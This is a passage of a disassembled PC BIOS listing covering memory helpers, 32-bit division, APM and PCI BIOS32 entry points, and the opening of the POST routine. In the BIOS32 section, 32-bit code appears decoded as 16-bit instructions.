dec si ; 4e
jne short 0a1a4h ; 75 f5
retn ; c3
__U8LS: ; 0xfa1b0 LB 0x10
test si, si ; 85 f6
je short 0a1bfh ; 74 0b
sal dx, 1 ; d1 e2
rcl cx, 1 ; d1 d1
rcl bx, 1 ; d1 d3
rcl ax, 1 ; d1 d0
dec si ; 4e
jne short 0a1b4h ; 75 f5
retn ; c3
_fmemset_: ; 0xfa1c0 LB 0x10
push di ; 57
mov es, dx ; 8e c2
db 08bh, 0f8h
; mov di, ax ; 8b f8
xchg al, bl ; 86 d8
rep stosb ; f3 aa
xchg al, bl ; 86 d8
pop di ; 5f
retn ; c3
times 0x3 db 0
_fmemcpy_: ; 0xfa1d0 LB 0x3a
push bp ; 55
db 08bh, 0ech
; mov bp, sp ; 8b ec
push di ; 57
push DS ; 1e
push si ; 56
mov es, dx ; 8e c2
db 08bh, 0f8h
; mov di, ax ; 8b f8
mov ds, cx ; 8e d9
db 08bh, 0f3h
; mov si, bx ; 8b f3
mov cx, word [bp+004h] ; 8b 4e 04
rep movsb ; f3 a4
pop si ; 5e
pop DS ; 1f
pop di ; 5f
db 08bh, 0e5h
; mov sp, bp ; 8b e5
pop bp ; 5d
retn ; c3
add byte [bx+si], al ; 00 00
add byte [bx+si], al ; 00 00
add byte [bx+si], al ; 00 00
and byte [bp+si-05ddeh], ah ; 20 a2 22 a2
mov byte [es:0a226h], AL ; 26 a2 26 a2
mov byte [es:0a228h], AL ; 26 a2 28 a2
sub byte [bp+si-05dd6h], ah ; 28 a2 2a a2
mov byte [cs:0a22eh], AL ; 2e a2 2e a2
xor byte [bp+si-05dcbh], ah ; 30 a2 35 a2
aaa ; 37
db 0a2h
apm_worker: ; 0xfa20a LB 0x3a
sti ; fb
push ax ; 50
db 032h, 0e4h
; xor ah, ah ; 32 e4
sub AL, strict byte 004h ; 2c 04
db 08bh, 0e8h
; mov bp, ax ; 8b e8
sal bp, 1 ; d1 e5
cmp AL, strict byte 00dh ; 3c 0d
pop ax ; 58
mov AH, strict byte 053h ; b4 53
jnc short 0a240h ; 73 25
jmp word [cs:bp-05e10h] ; 2e ff a6 f0 a1
jmp short 0a23eh ; eb 1c
sti ; fb
hlt ; f4
jmp short 0a23eh ; eb 18
jmp short 0a23eh ; eb 16
jmp short 0a240h ; eb 16
mov AH, strict byte 080h ; b4 80
jmp short 0a242h ; eb 14
jmp short 0a240h ; eb 10
mov ax, 00102h ; b8 02 01
jmp short 0a23eh ; eb 09
jmp short 0a23eh ; eb 07
mov BL, strict byte 000h ; b3 00
mov cx, strict word 00000h ; b9 00 00
jmp short 0a23eh ; eb 00
clc ; f8
retn ; c3
mov AH, strict byte 009h ; b4 09
stc ; f9
retn ; c3
apm_pm16_entry: ; 0xfa244 LB 0x11
mov AH, strict byte 002h ; b4 02
push DS ; 1e
push bp ; 55
push CS ; 0e
pop bp ; 5d
add bp, strict byte 00008h ; 83 c5 08
mov ds, bp ; 8e dd
call 0a20ah ; e8 b8 ff
pop bp ; 5d
pop DS ; 1f
retf ; cb
_DoUInt32Div: ; 0xfa255 LB 0x26b
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00018h ; 83 ec 18
lds bx, [bp+00ch] ; c5 5e 0c
lea si, [bp+004h] ; 8d 76 04
mov word [bp-010h], si ; 89 76 f0
mov [bp-00eh], ss ; 8c 56 f2
lea di, [bp+008h] ; 8d 7e 08
mov [bp-008h], ss ; 8c 56 f8
lea si, [bp-01ch] ; 8d 76 e4
mov word [bp-00ch], si ; 89 76 f4
mov [bp-00ah], ss ; 8c 56 f6
mov si, bx ; 89 de
mov [bp-006h], ds ; 8c 5e fa
cmp word [bx+002h], strict byte 00000h ; 83 7f 02 00
jne short 0a2a5h ; 75 22
mov ax, word [bx] ; 8b 07
test ax, ax ; 85 c0
je short 0a2a2h ; 74 19
cmp ax, strict word 00001h ; 3d 01 00
jne short 0a2a5h ; 75 17
xor ax, ax ; 31 c0
mov word [bp+00ah], ax ; 89 46 0a
mov word [bp+008h], ax ; 89 46 08
mov ax, word [bp-01ch] ; 8b 46 e4
mov word [bp+004h], ax ; 89 46 04
mov ax, word [bp-01ah] ; 8b 46 e6
mov word [bp+006h], ax ; 89 46 06
jmp near 0a4adh ; e9 08 02
lds bx, [bp-00ch] ; c5 5e f4
mov ax, word [bx+002h] ; 8b 47 02
mov ds, [bp-006h] ; 8e 5e fa
cmp ax, word [si+002h] ; 3b 44 02
je short 0a2cbh ; 74 18
mov ds, [bp-00ah] ; 8e 5e f6
mov ax, word [bx+002h] ; 8b 47 02
mov ds, [bp-006h] ; 8e 5e fa
cmp ax, word [si+002h] ; 3b 44 02
jbe short 0a2c6h ; 76 05
mov ax, strict word 00001h ; b8 01 00
jmp short 0a2ech ; eb 26
mov ax, strict word 0ffffh ; b8 ff ff
jmp short 0a2ech ; eb 21
mov ds, [bp-00ah] ; 8e 5e f6
mov ax, word [bx] ; 8b 07
mov ds, [bp-006h] ; 8e 5e fa
cmp ax, word [si] ; 3b 04
je short 0a2eah ; 74 13
mov ds, [bp-00ah] ; 8e 5e f6
mov ax, word [bx] ; 8b 07
mov ds, [bp-006h] ; 8e 5e fa
cmp ax, word [si] ; 3b 04
jbe short 0a2e5h ; 76 02
jmp short 0a2c1h ; eb dc
mov ax, strict word 0ffffh ; b8 ff ff
jmp short 0a2ech ; eb 02
xor ax, ax ; 31 c0
test ax, ax ; 85 c0
jnl short 0a30eh ; 7d 1e
lds bx, [bp-00ch] ; c5 5e f4
mov ax, word [bx] ; 8b 07
mov dx, word [bx+002h] ; 8b 57 02
mov ds, [bp-008h] ; 8e 5e f8
mov word [di], ax ; 89 05
mov word [di+002h], dx ; 89 55 02
lds bx, [bp-010h] ; c5 5e f0
mov word [bx+002h], strict word 00000h ; c7 47 02 00 00
mov word [bx], strict word 00000h ; c7 07 00 00
jmp short 0a2a2h ; eb 94
jne short 0a325h ; 75 15
mov ds, [bp-008h] ; 8e 5e f8
mov word [di+002h], ax ; 89 45 02
mov word [di], ax ; 89 05
lds bx, [bp-010h] ; c5 5e f0
mov word [bx], strict word 00001h ; c7 07 01 00
mov word [bx+002h], ax ; 89 47 02
jmp near 0a4adh ; e9 88 01
lds bx, [bp-00ch] ; c5 5e f4
mov ax, word [bx+002h] ; 8b 47 02
test ax, ax ; 85 c0
je short 0a340h ; 74 11
push ax ; 50
mov ax, 0f000h ; b8 00 f0
mov ds, ax ; 8e d8
call 0a4c0h ; e8 88 01
add sp, strict byte 00002h ; 83 c4 02
add ax, strict word 00010h ; 05 10 00
jmp short 0a34dh ; eb 0d
push word [bx] ; ff 37
mov ax, 0f000h ; b8 00 f0
mov ds, ax ; 8e d8
call 0a4c0h ; e8 76 01
add sp, strict byte 00002h ; 83 c4 02
mov word [bp-014h], ax ; 89 46 ec
mov ds, [bp-006h] ; 8e 5e fa
mov ax, word [si+002h] ; 8b 44 02
test ax, ax ; 85 c0
je short 0a36bh ; 74 11
push ax ; 50
mov ax, 0f000h ; b8 00 f0
mov ds, ax ; 8e d8
call 0a4c0h ; e8 5d 01
add sp, strict byte 00002h ; 83 c4 02
add ax, strict word 00010h ; 05 10 00
jmp short 0a378h ; eb 0d
push word [si] ; ff 34
mov ax, 0f000h ; b8 00 f0
mov ds, ax ; 8e d8
call 0a4c0h ; e8 4b 01
add sp, strict byte 00002h ; 83 c4 02
mov dx, word [bp-014h] ; 8b 56 ec
sub dx, ax ; 29 c2
mov word [bp-012h], dx ; 89 56 ee
mov ds, [bp-006h] ; 8e 5e fa
mov ax, word [si] ; 8b 04
mov word [bp-018h], ax ; 89 46 e8
mov ax, word [si+002h] ; 8b 44 02
mov word [bp-016h], ax ; 89 46 ea
test dx, dx ; 85 d2
je short 0a3e8h ; 74 56
mov cx, dx ; 89 d1
xor ch, dh ; 30 f5
and cl, 01fh ; 80 e1 1f
mov ax, word [si] ; 8b 04
mov dx, word [si+002h] ; 8b 54 02
jcxz 0a3a6h ; e3 06
sal ax, 1 ; d1 e0
rcl dx, 1 ; d1 d2
loop 0a3a0h ; e2 fa
mov word [bp-018h], ax ; 89 46 e8
mov word [bp-016h], dx ; 89 56 ea
mov ax, word [bp-016h] ; 8b 46 ea
lds bx, [bp-00ch] ; c5 5e f4
cmp ax, word [bx+002h] ; 3b 47 02
jnbe short 0a3c6h ; 77 0f
mov ax, word [bp-016h] ; 8b 46 ea
cmp ax, word [bx+002h] ; 3b 47 02
jne short 0a3cah ; 75 0b
mov ax, word [bp-018h] ; 8b 46 e8
cmp ax, word [bx] ; 3b 07
jbe short 0a3cah ; 76 04
mov AL, strict byte 001h ; b0 01
jmp short 0a3cch ; eb 02
xor al, al ; 30 c0
test al, al ; 84 c0
je short 0a3f3h ; 74 23
shr word [bp-016h], 1 ; d1 6e ea
rcr word [bp-018h], 1 ; d1 5e e8
dec word [bp-012h] ; ff 4e ee
jmp short 0a3f3h ; eb 18
mov cx, strict word 0001fh ; b9 1f 00
sal word [bp-018h], 1 ; d1 66 e8
rcl word [bp-016h], 1 ; d1 56 ea
loop 0a3deh ; e2 f8
jmp short 0a3d6h ; eb ee
mov ax, word [si] ; 8b 04
mov word [bp-018h], ax ; 89 46 e8
mov ax, word [si+002h] ; 8b 44 02
mov word [bp-016h], ax ; 89 46 ea
lds bx, [bp-010h] ; c5 5e f0
mov word [bx+002h], strict word 00000h ; c7 47 02 00 00
mov word [bx], strict word 00000h ; c7 07 00 00
lds bx, [bp-00ch] ; c5 5e f4
mov dx, word [bx] ; 8b 17
mov ax, word [bx+002h] ; 8b 47 02
mov ds, [bp-008h] ; 8e 5e f8
mov word [di], dx ; 89 15
mov word [di+002h], ax ; 89 45 02
mov dx, word [di] ; 8b 15
mov ds, [bp-006h] ; 8e 5e fa
cmp ax, word [si+002h] ; 3b 44 02
jnbe short 0a41fh ; 77 06
jne short 0a423h ; 75 08
cmp dx, word [si] ; 3b 14
jc short 0a423h ; 72 04
mov AL, strict byte 001h ; b0 01
jmp short 0a425h ; eb 02
xor al, al ; 30 c0
test al, al ; 84 c0
je short 0a48ah ; 74 61
mov ds, [bp-008h] ; 8e 5e f8
mov ax, word [di+002h] ; 8b 45 02
cmp ax, word [bp-016h] ; 3b 46 ea
jnbe short 0a440h ; 77 0c
cmp ax, word [bp-016h] ; 3b 46 ea
jne short 0a444h ; 75 0b
mov ax, word [di] ; 8b 05
cmp ax, word [bp-018h] ; 3b 46 e8
jc short 0a444h ; 72 04
mov AL, strict byte 001h ; b0 01
jmp short 0a446h ; eb 02
xor al, al ; 30 c0
test al, al ; 84 c0
je short 0a470h ; 74 26
mov ax, word [bp-018h] ; 8b 46 e8
mov ds, [bp-008h] ; 8e 5e f8
sub word [di], ax ; 29 05
mov ax, word [bp-016h] ; 8b 46 ea
sbb word [di+002h], ax ; 19 45 02
mov ax, strict word 00001h ; b8 01 00
xor dx, dx ; 31 d2
mov cx, word [bp-012h] ; 8b 4e ee
jcxz 0a468h ; e3 06
sal ax, 1 ; d1 e0
rcl dx, 1 ; d1 d2
loop 0a462h ; e2 fa
lds bx, [bp-010h] ; c5 5e f0
or word [bx], ax ; 09 07
or word [bx+002h], dx ; 09 57 02
mov ds, [bp-008h] ; 8e 5e f8
mov dx, word [di] ; 8b 15
mov ax, word [di+002h] ; 8b 45 02
mov ds, [bp-006h] ; 8e 5e fa
cmp ax, word [si+002h] ; 3b 44 02
jc short 0a486h ; 72 06
jne short 0a48ch ; 75 0a
cmp dx, word [si] ; 3b 14
jnc short 0a48ch ; 73 06
mov AL, strict byte 001h ; b0 01
jmp short 0a48eh ; eb 04
jmp short 0a4adh ; eb 21
xor al, al ; 30 c0
test al, al ; 84 c0
je short 0a4a1h ; 74 0f
jmp short 0a4adh ; eb 19
mov cx, strict word 0001fh ; b9 1f 00
sal word [bp-018h], 1 ; d1 66 e8
rcl word [bp-016h], 1 ; d1 56 ea
loop 0a497h ; e2 f8
jmp short 0a4a7h ; eb 06
shr word [bp-016h], 1 ; d1 6e ea
rcr word [bp-018h], 1 ; d1 5e e8
dec word [bp-012h] ; ff 4e ee
jmp near 0a429h ; e9 7c ff
mov ax, word [bp-01ch] ; 8b 46 e4
mov dx, word [bp-01ah] ; 8b 56 e6
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
times 0x6 db 0
_ASMBitLastSetU16: ; 0xfa4c0 LB 0x18
push bp ; 55
db 08bh, 0ech
; mov bp, sp ; 8b ec
mov cx, word [bp+004h] ; 8b 4e 04
test cx, cx ; 85 c9
je short 0a4d4h ; 74 0a
mov ax, strict word 00010h ; b8 10 00
sal cx, 1 ; d1 e1
jc short 0a4d6h ; 72 05
dec ax ; 48
jmp short 0a4cdh ; eb f9
db 033h, 0c0h
; xor ax, ax ; 33 c0
pop bp ; 5d
retn ; c3
; Padding 0x3528 bytes at 0xfa4d8
times 13608 db 0
section BIOS32 progbits vstart=0xda00 align=1 ; size=0x3cb class=CODE group=AUTO
bios32_service: ; 0xfda00 LB 0x26
pushfw ; 9c
cmp bl, 000h ; 80 fb 00
jne short 0da22h ; 75 1c
cmp ax, 05024h ; 3d 24 50
inc bx ; 43
dec cx ; 49
mov AL, strict byte 080h ; b0 80
jne short 0da20h ; 75 11
mov bx, strict word 00000h ; bb 00 00
db 00fh
add byte [bx+di-01000h], bh ; 00 b9 00 f0
add byte [bx+si], al ; 00 00
mov dx, 0da26h ; ba 26 da
add byte [bx+si], al ; 00 00
db 032h, 0c0h
; xor al, al ; 32 c0
popfw ; 9d
retf ; cb
mov AL, strict byte 081h ; b0 81
jmp short 0da20h ; eb fa
pcibios32_entry: ; 0xfda26 LB 0x1a
pushfw ; 9c
cld ; fc
push ES ; 06
pushaw ; 60
call 0db78h ; e8 4b 01
add byte [bx+si], al ; 00 00
popaw ; 61
pop ES ; 07
popfw ; 9d
retf ; cb
times 0xd db 0
apm_pm32_entry: ; 0xfda40 LB 0x21
push bp ; 55
mov ebp, cs ; 66 8c cd
push ebp ; 66 55
mov bp, 0da5fh ; bd 5f da
add byte [bx+si], al ; 00 00
push ebp ; 66 55
push CS ; 0e
pop bp ; 5d
add bp, strict byte 00008h ; 83 c5 08
push ebp ; 66 55
mov bp, 0a246h ; bd 46 a2
add byte [bx+si], al ; 00 00
push ebp ; 66 55
mov AH, strict byte 003h ; b4 03
db 066h, 0cbh
; retf ; 66 cb
pop bp ; 5d
retf ; cb
pci32_select_reg_: ; 0xfda61 LB 0x22
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
and dl, 0fch ; 80 e2 fc
mov bx, dx ; 89 d3
mov dx, 00cf8h ; ba f8 0c
add byte [bx+si], al ; 00 00
db 00fh, 0b7h, 0c0h
; movzx ax, ax ; 0f b7 c0
sal ax, 008h ; c1 e0 08
or ax, strict word 00000h ; 0d 00 00
add byte [bx+si-03c76h], al ; 00 80 8a c3
out DX, ax ; ef
lea sp, [di-004h] ; 8d 65 fc
pop bx ; 5b
pop bp ; 5d
retn ; c3
pci32_find_device_: ; 0xfda83 LB 0xf7
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push si ; 56
push di ; 57
sub sp, strict byte 00014h ; 83 ec 14
push ax ; 50
mov cx, dx ; 89 d1
mov si, bx ; 89 de
test bx, bx ; 85 db
xor bx, bx ; 31 db
mov byte [di-010h], 000h ; c6 45 f0 00
test bl, 007h ; f6 c3 07
jne short 0dad4h ; 75 36
db 00fh, 0b7h, 0c3h
; movzx ax, bx ; 0f b7 c3
mov dx, strict word 0000eh ; ba 0e 00
add byte [bx+si], al ; 00 00
call 0da5fh ; e8 b6 ff
db 0ffh
db 0ffh
mov dx, 00cfeh ; ba fe 0c
add byte [bx+si], al ; 00 00
db 02bh, 0c0h
; sub ax, ax ; 2b c0
in AL, DX ; ec
mov byte [di-014h], al ; 88 45 ec
cmp AL, strict byte 0ffh ; 3c ff
jne short 0dac2h ; 75 08
add bx, strict byte 00008h ; 83 c3 08
jmp near 0db4ah ; e9 8a 00
add byte [bx+si], al ; 00 00
test byte [di-014h], 080h ; f6 45 ec 80
je short 0dacfh ; 74 07
mov di, strict word 00001h ; bf 01 00
add byte [bx+si], al ; 00 00
jmp short 0dad4h ; eb 05
mov di, strict word 00008h ; bf 08 00
add byte [bx+si], al ; 00 00
mov al, byte [di-014h] ; 8a 45 ec
and AL, strict byte 007h ; 24 07
cmp AL, strict byte 001h ; 3c 01
jne short 0db03h ; 75 26
db 00fh, 0b7h, 0c3h
; movzx ax, bx ; 0f b7 c3
mov dx, ax ; 89 c2
sar dx, 008h ; c1 fa 08
test dx, dx ; 85 d2
jne short 0db03h ; 75 1a
mov dx, strict word 0001ah ; ba 1a 00
add byte [bx+si], al ; 00 00
call 0da5fh ; e8 6e ff
db 0ffh
db 0ffh
mov dx, 00cfeh ; ba fe 0c
add byte [bx+si], al ; 00 00
db 02bh, 0c0h
; sub ax, ax ; 2b c0
in AL, DX ; ec
cmp al, byte [di-010h] ; 3a 45 f0
jbe short 0db03h ; 76 03
mov byte [di-010h], al ; 88 45 f0
test si, si ; 85 f6
je short 0db0eh ; 74 07
mov ax, strict word 00008h ; b8 08 00
add byte [bx+si], al ; 00 00
jmp short 0db10h ; eb 02
xor ax, ax ; 31 c0
db 00fh, 0b7h, 0d0h
; movzx dx, ax ; 0f b7 d0
db 00fh, 0b7h, 0c3h
; movzx ax, bx ; 0f b7 c3
call 0da5fh ; e8 46 ff
db 0ffh
db 0ffh
mov dx, 00cfch ; ba fc 0c
add byte [bx+si], al ; 00 00
in ax, DX ; ed
mov word [di-018h], ax ; 89 45 e8
mov word [di-020h], strict word 00000h ; c7 45 e0 00 00
add byte [bx+si], al ; 00 00
test si, si ; 85 f6
je short 0db35h ; 74 06
shr ax, 008h ; c1 e8 08
mov word [di-018h], ax ; 89 45 e8
mov ax, word [di-018h] ; 8b 45 e8
cmp ax, word [di-024h] ; 3b 45 dc
je short 0db43h ; 74 06
cmp word [di-020h], strict byte 00000h ; 83 7d e0 00
je short 0db4ah ; 74 07
dec cx ; 49
cmp ecx, strict byte 0ffffffffh ; 66 83 f9 ff
je short 0db62h ; 74 18
add bx, di ; 01 fb
db 00fh, 0b7h, 0c3h
; movzx ax, bx ; 0f b7 c3
sar ax, 008h ; c1 f8 08
mov word [di-01ch], ax ; 89 45 e4
movzx ax, byte [di-010h] ; 0f b6 45 f0
cmp ax, word [di-01ch] ; 3b 45 e4
jnl near 0da97h ; 0f 8d 37 ff
db 0ffh
jmp word [bp-07dh] ; ff 66 83
stc ; f9
push word [di+005h] ; ff 75 05
db 00fh, 0b7h, 0c3h
; movzx ax, bx ; 0f b7 c3
jmp short 0db72h ; eb 05
mov ax, strict word 0ffffh ; b8 ff ff
add byte [bx+si], al ; 00 00
lea sp, [di-00ch] ; 8d 65 f4
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bp ; 5d
retn ; c3
_pci32_function: ; 0xfdb7a LB 0x251
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
and dword [di+024h], strict dword 0658100ffh ; 66 81 65 24 ff 00 81 65
sub AL, strict byte 0feh ; 2c fe
inc word [bx+si] ; ff 00
add byte [bp+di+02445h], cl ; 00 8b 45 24
xor ah, ah ; 30 e4
cmp eax, strict dword 029720003h ; 66 3d 03 00 72 29
jbe near 0dc37h ; 0f 86 99 00
add byte [bx+si], al ; 00 00
cmp eax, strict dword 0840f000eh ; 66 3d 0e 00 0f 84
test ax, strict word 00001h ; a9 01 00
add byte [bp+03dh], ah ; 00 66 3d
or byte [bx+si], al ; 08 00
jc near 0ddb1h ; 0f 82 ff 01
add byte [bx+si], al ; 00 00
cmp eax, strict dword 0860f000dh ; 66 3d 0d 00 0f 86
test AL, strict byte 000h ; a8 00
add byte [bx+si], al ; 00 00
jmp near 0ddb1h ; e9 f0 01
add byte [bx+si], al ; 00 00
cmp eax, strict dword 028740002h ; 66 3d 02 00 74 28
cmp eax, strict dword 0850f0001h ; 66 3d 01 00 0f 85
loopne 0dbd2h ; e0 01
add byte [bx+si], al ; 00 00
mov dword [di+024h], strict dword 0c7660001h ; 66 c7 45 24 01 00 66 c7
inc bp ; 45
sbb byte [bx+si], dl ; 18 10
add dh, byte [bx+di] ; 02 31
sal byte [bp-077h], 045h ; c0 66 89 45
and bh, al ; 20 c7
inc bp ; 45
sbb AL, strict byte 050h ; 1c 50
inc bx ; 43
dec cx ; 49
and cl, ch ; 20 e9
rol byte [bx+di], CL ; d2 01
add byte [bx+si], al ; 00 00
cmp dword [di+01ch], strict byte 0ffffffffh ; 66 83 7d 1c ff
jne short 0dc05h ; 75 0d
mov ax, word [di+024h] ; 8b 45 24
xor ah, ah ; 30 e4
or ah, 083h ; 80 cc 83
jmp near 0ddb9h ; e9 b6 01
add byte [bx+si], al ; 00 00
xor bx, bx ; 31 db
db 00fh, 0b7h, 055h, 00ch
; movzx dx, [di+00ch] ; 0f b7 55 0c
db 00fh, 0b7h, 045h, 020h
; movzx ax, [di+020h] ; 0f b7 45 20
sal ax, 010h ; c1 e0 10
db 00fh, 0b7h, 04dh, 01ch
; movzx cx, [di+01ch] ; 0f b7 4d 1c
or ax, cx ; 09 c8
call 0da81h ; e8 66 fe
db 0ffh
jmp word [bp+03dh] ; ff 66 3d
db 0ffh
push word [di+00dh] ; ff 75 0d
mov ax, word [di+024h] ; 8b 45 24
xor ah, ah ; 30 e4
or ah, 086h ; 80 cc 86
jmp near 0ddb9h ; e9 8b 01
add byte [bx+si], al ; 00 00
mov dword [di+018h], eax ; 66 89 45 18
jmp near 0ddc1h ; e9 8a 01
add byte [bx+si], al ; 00 00
db 00fh, 0b7h, 055h, 00ch
; movzx dx, [di+00ch] ; 0f b7 55 0c
mov ax, word [di+020h] ; 8b 45 20
mov bx, strict word 00001h ; bb 01 00
add byte [bx+si], al ; 00 00
call 0da81h ; e8 39 fe
db 0ffh
jmp word [bp+03dh] ; ff 66 3d
db 0ffh
push word [di+00dh] ; ff 75 0d
mov ax, word [di+024h] ; 8b 45 24
xor ah, ah ; 30 e4
or ah, 086h ; 80 cc 86
jmp near 0ddb9h ; e9 5e 01
add byte [bx+si], al ; 00 00
mov dword [di+018h], eax ; 66 89 45 18
jmp near 0ddc1h ; e9 5d 01
add byte [bx+si], al ; 00 00
cmp dword [di+008h], strict dword 00d720100h ; 66 81 7d 08 00 01 72 0d
mov ax, word [di+024h] ; 8b 45 24
xor ah, ah ; 30 e4
or ah, 087h ; 80 cc 87
jmp near 0ddb9h ; e9 40 01
add byte [bx+si], al ; 00 00
db 00fh, 0b7h, 055h, 008h
; movzx dx, [di+008h] ; 0f b7 55 08
db 00fh, 0b7h, 045h, 018h
; movzx ax, [di+018h] ; 0f b7 45 18
call 0da5fh ; e8 d9 fd
db 0ffh
dec word [bp+di+02445h] ; ff 8b 45 24
xor ah, ah ; 30 e4
cmp eax, strict dword 02172000ah ; 66 3d 0a 00 72 21
jbe short 0dd04h ; 76 6f
cmp eax, strict dword 0840f000dh ; 66 3d 0d 00 0f 84
test ax, strict word 00000h ; a9 00 00
add byte [bp+03dh], ah ; 00 66 3d
or AL, strict byte 000h ; 0c 00
je near 0dd2ah ; 0f 84 83 00
add byte [bx+si], al ; 00 00
cmp eax, strict dword 06374000bh ; 66 3d 0b 00 74 63
jmp near 0ddc1h ; e9 0f 01
add byte [bx+si], al ; 00 00
cmp eax, strict dword 02d740009h ; 66 3d 09 00 74 2d
cmp eax, strict dword 0850f0008h ; 66 3d 08 00 0f 85
inc word [bx+si] ; ff 00
add byte [bx+si], al ; 00 00
mov bx, word [di+020h] ; 8b 5d 20
xor bl, bl ; 30 db
mov ax, word [di+008h] ; 8b 45 08
xor ah, ah ; 30 e4
and AL, strict byte 003h ; 24 03
db 00fh, 0b7h, 0d0h
; movzx dx, ax ; 0f b7 d0
add dx, 00cfch ; 81 c2 fc 0c
add byte [bx+si], al ; 00 00
db 02bh, 0c0h
; sub ax, ax ; 2b c0
in AL, DX ; ec
or bx, ax ; 09 c3
mov dword [di+020h], ebx ; 66 89 5d 20
jmp near 0ddc1h ; e9 dc 00
add byte [bx+si], al ; 00 00
mov ax, word [di+008h] ; 8b 45 08
xor ah, ah ; 30 e4
and AL, strict byte 002h ; 24 02
db 00fh, 0b7h, 0d0h
; movzx dx, ax ; 0f b7 d0
add dx, 00cfch ; 81 c2 fc 0c
add byte [bx+si], al ; 00 00
db 02bh, 0c0h
; sub ax, ax ; 2b c0
in eax, DX ; 66 ed
mov dword [di+020h], eax ; 66 89 45 20
jmp near 0ddc1h ; e9 bf 00
add byte [bx+si], al ; 00 00
mov dx, 00cfch ; ba fc 0c
add byte [bx+si], al ; 00 00
in ax, DX ; ed
mov word [di+020h], ax ; 89 45 20
jmp near 0ddc1h ; e9 b1 00
add byte [bx+si], al ; 00 00
mov ax, word [di+020h] ; 8b 45 20
mov dx, word [di+008h] ; 8b 55 08
xor dh, dh ; 30 f6
and dl, 003h ; 80 e2 03
db 00fh, 0b7h, 0d2h
; movzx dx, dx ; 0f b7 d2
add dx, 00cfch ; 81 c2 fc 0c
add byte [bx+si], al ; 00 00
out DX, AL ; ee
jmp near 0ddc1h ; e9 97 00
add byte [bx+si], al ; 00 00
db 00fh, 0b7h, 045h, 020h
; movzx ax, [di+020h] ; 0f b7 45 20
mov dx, word [di+008h] ; 8b 55 08
xor dh, dh ; 30 f6
and dl, 002h ; 80 e2 02
db 00fh, 0b7h, 0d2h
; movzx dx, dx ; 0f b7 d2
add dx, 00cfch ; 81 c2 fc 0c
add byte [bx+si], al ; 00 00
out DX, eax ; 66 ef
jmp near 0ddc1h ; e9 7b 00
add byte [bx+si], al ; 00 00
mov ax, word [di+020h] ; 8b 45 20
mov dx, 00cfch ; ba fc 0c
add byte [bx+si], al ; 00 00
out DX, ax ; ef
jmp short 0ddc3h ; eb 70
db 00fh, 0b7h, 045h, 008h
; movzx ax, [di+008h] ; 0f b7 45 08
mov es, [di+028h] ; 8e 45 28
mov [di-010h], es ; 8c 45 f0
mov bx, ax ; 89 c3
mov edx, dword [di] ; 66 8b 15
xor bl, 000h ; 80 f3 00
add byte [bp+026h], ah ; 00 66 26
cmp dx, word [bx+si] ; 3b 10
jbe short 0dd7eh ; 76 12
mov ax, word [di+024h] ; 8b 45 24
xor ah, ah ; 30 e4
or ah, 089h ; 80 cc 89
mov dword [di+024h], eax ; 66 89 45 24
or word [di+02ch], strict byte 00001h ; 83 4d 2c 01
jmp short 0dda4h ; eb 26
db 00fh, 0b7h, 0cah
; movzx cx, dx ; 0f b7 ca
db 066h, 026h, 08bh, 050h, 006h
; mov edx, dword [es:bx+si+006h] ; 66 26 8b 50 06
mov word [di-014h], dx ; 89 55 ec
mov di, word [es:bx+si+002h] ; 26 8b 78 02
mov dx, ds ; 8c da
mov si, 0f1a0h ; be a0 f1
add byte [bx+si], al ; 00 00
mov es, [di-014h] ; 8e 45 ec
push DS ; 1e
db 066h, 08eh, 0dah
; mov ds, edx ; 66 8e da
rep movsb ; f3 a4
pop DS ; 1f
mov dword [di+018h], strict dword 0a1660a00h ; 66 c7 45 18 00 0a 66 a1
xor bl, 000h ; 80 f3 00
add byte [bp-00fbbh], cl ; 00 8e 45 f0
db 066h, 026h, 089h, 003h
; mov dword [es:bp+di], eax ; 66 26 89 03
jmp short 0ddc3h ; eb 10
mov ax, word [di+024h] ; 8b 45 24
xor ah, ah ; 30 e4
or ah, 081h ; 80 cc 81
mov dword [di+024h], eax ; 66 89 45 24
or word [di+02ch], strict byte 00001h ; 83 4d 2c 01
lea sp, [di-00ch] ; 8d 65 f4
pop di ; 5f
pop si ; 5e
pop bx ; 5b
pop bp ; 5d
retn ; c3
; Padding 0x1 bytes at 0xfddcb
times 1 db 0
section BIOS32CONST progbits vstart=0xddcc align=1 ; size=0x0 class=FAR_DATA group=BIOS32_GROUP
section BIOS32CONST2 progbits vstart=0xddcc align=1 ; size=0x0 class=FAR_DATA group=BIOS32_GROUP
section BIOS32_DATA progbits vstart=0xddcc align=1 ; size=0x0 class=FAR_DATA group=BIOS32_GROUP
; Padding 0x234 bytes at 0xfddcc
times 564 db 0
section BIOSSEG progbits vstart=0xe000 align=1 ; size=0x2000 class=CODE group=AUTO
biosorg_check_before_or_at_0E02Eh: ; 0xfe000 LB 0x30
times 0x2e db 0
db 'XM'
eoi_both_pics: ; 0xfe030 LB 0x4
mov AL, strict byte 020h ; b0 20
out strict byte 0a0h, AL ; e6 a0
eoi_master_pic: ; 0xfe034 LB 0x5
mov AL, strict byte 020h ; b0 20
out strict byte 020h, AL ; e6 20
retn ; c3
set_int_vects: ; 0xfe039 LB 0xb
mov word [bx], ax ; 89 07
mov word [bx+002h], dx ; 89 57 02
add bx, strict byte 00004h ; 83 c3 04
loop 0e039h ; e2 f6
retn ; c3
eoi_jmp_post: ; 0xfe044 LB 0x3
call 0e030h ; e8 e9 ff
no_eoi_jmp_post: ; 0xfe047 LB 0x8
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
jmp far [00467h] ; ff 2e 67 04
seg_40_value: ; 0xfe04f LB 0x2
inc ax ; 40
times 0x1 db 0
biosorg_check_before_or_at_0E059h: ; 0xfe051 LB 0xa
times 0x8 db 0
db 'XM'
post: ; 0xfe05b LB 0x65
cli ; fa
jmp short 0e064h ; eb 06
mov AL, strict byte 001h ; b0 01
out strict byte 092h, AL ; e6 92
jmp short 0e062h ; eb fe
mov AL, strict byte 00fh ; b0 0f
out strict byte 070h, AL ; e6 70
in AL, strict byte 071h ; e4 71
xchg ah, al ; 86 c4
in AL, strict byte 064h ; e4 64
test AL, strict byte 004h ; a8 04
je short 0e085h ; 74 13
